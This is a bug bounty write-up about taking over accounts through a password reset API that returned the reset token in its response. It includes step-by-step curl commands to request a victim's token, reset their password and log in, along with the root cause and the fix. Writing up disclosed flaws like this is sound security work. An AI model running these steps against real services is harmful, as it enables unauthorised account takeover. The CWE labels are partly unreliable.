June 16, 2026
How I Took Over Any Account in 200 Seconds Using the Password Reset Flow Itself
The token was right there in the response. They were sending it twice.
Md Zishan Firoz
3 min read
๐ต๏ธ How It Started
I was testing a B2B invoicing platform during a bug bounty session. Nothing flashy. I was going through the standard auth flows โ register, login, logout, change password, forgot password.
On the forgot password screen I typed my test email, hit submit, and immediately opened DevTools to watch the response.
I expected the usual:
{ "message": "If that email exists, we've sent a reset link." }{ "message": "If that email exists, we've sent a reset link." }What I got was:
{
"message": "Reset link sent.",
"email": "mytest@burp.local",
"resetToken": "a3f9c2e1b847d6f0..."
}{
"message": "Reset link sent.",
"email": "mytest@burp.local",
"resetToken": "a3f9c2e1b847d6f0..."
}I stared at this for a few seconds.
The server just handed me the password reset token in the API response body. The same token it was supposed to only send via email.
๐ฌ Immediate Question
Okay so this leaks MY token back to me. That alone is bad practice but the impact is low if I'm the one requesting the reset.
The real question: what happens if I request a reset for someone else's email?
Does the API return THEIR token in the response too?
๐งช Proof of Concept
Step 1 โ Request Reset for a Known Victim Email
I used a second test account I had created earlier. Sent the forgot password request for that email from a completely different session โ no cookies, no auth header, fresh Burp tab:
curl -sk -X POST "https://[REDACTED]/api/auth/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email": "victim@testaccount.local"}'curl -sk -X POST "https://[REDACTED]/api/auth/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email": "victim@testaccount.local"}'Response:
{
"message": "Reset link sent.",
"email": "victim@testaccount.local",
"resetToken": "7bd2a190f3c84e56..."
}{
"message": "Reset link sent.",
"email": "victim@testaccount.local",
"resetToken": "7bd2a190f3c84e56..."
}There it was. The victim's reset token. In my HTTP response. No email access needed.
Step 2 โ Use the Token to Reset Their Password
curl -sk -X POST "https://[REDACTED]/api/auth/reset-password" \
-H "Content-Type: application/json" \
-d '{
"token": "7bd2a190f3c84e56...",
"newPassword": "Pwned@12345"
}'curl -sk -X POST "https://[REDACTED]/api/auth/reset-password" \
-H "Content-Type: application/json" \
-d '{
"token": "7bd2a190f3c84e56...",
"newPassword": "Pwned@12345"
}'Response:
{ "message": "Password reset successful." }{ "message": "Password reset successful." }Step 3 โ Login as the Victim
curl -sk -X POST "https://[REDACTED]/api/auth/login" \
-H "Content-Type: application/json" \
-d '{
"email": "victim@testaccount.local",
"password": "Pwned@12345"
}'curl -sk -X POST "https://[REDACTED]/api/auth/login" \
-H "Content-Type: application/json" \
-d '{
"email": "victim@testaccount.local",
"password": "Pwned@12345"
}'Logged in. Full session. No interaction from the victim. No phishing. No MitM. Nothing.
Just one API call and I owned the account.
๐ฅ Impact
Full Account Takeover on Demand
Any unauthenticated attacker who knows a target's email address can take over their account silently. The victim gets a reset email which looks routine โ they might assume they accidentally clicked something. By the time they notice something is wrong the attacker already has an active session.
On a B2B invoicing platform this means access to:
- Client financial records and invoice history
- Saved payment methods and bank details
- Business contact directories
- Pending approvals and transaction workflows
No Rate Limiting
The forgot-password endpoint had no rate limit and no CAPTCHA. Automating this against a list of known customer emails would take minutes.
๐ Root Cause
This happens when a developer builds the reset flow in two parts โ first generate the token, then email it โ and at some point during debugging adds the token to the API response to make local testing easier without checking email.
Then that debug output never gets removed before going to production.
It probably looked like this internally:
const token = generateResetToken(user.id);
await sendResetEmail(user.email, token);
// TODO: remove before prod
return res.json({ message: "Reset link sent.", email, resetToken: token });const token = generateResetToken(user.id);
await sendResetEmail(user.email, token);
// TODO: remove before prod
return res.json({ message: "Reset link sent.", email, resetToken: token });The TODO comment never got actioned. The code shipped.
๐ก๏ธ Fix
Simple. Never return the token in the HTTP response under any circumstances. The token should exist in exactly two places: the database (hashed) and the user's email inbox.
const token = generateResetToken(user.id);
await sendResetEmail(user.email, token);
return res.json({ message: "If that email exists, we've sent a reset link." });const token = generateResetToken(user.id);
await sendResetEmail(user.email, token);
return res.json({ message: "If that email exists, we've sent a reset link." });Also: don't confirm whether the email exists in the system. Generic response for both found and not-found cases. Prevents email enumeration as a bonus.
๐ Key Takeaways
- Read every API response during auth flow testing. Not just status codes. The actual body.
- Debug artifacts that leak to production are one of the most underrated vulnerability sources
- "The token was sent to email" doesn't mean it ONLY went to email โ verify what the response body contains
- gAccount takeover with zero victim interaction is always a critical severity regardless of the platform
๐ท๏ธ Vulnerability Classification
OWASP: A07:2021 โ Identification and Authentication Failures CWE: CWE-598 (Sensitive Information in Query String), CWE-312 (Cleartext Storage of Sensitive Information) Severity: Critical
All identifiers, company details, tokens, and endpoints have been redacted. Disclosed privately and confirmed fixed before publishing.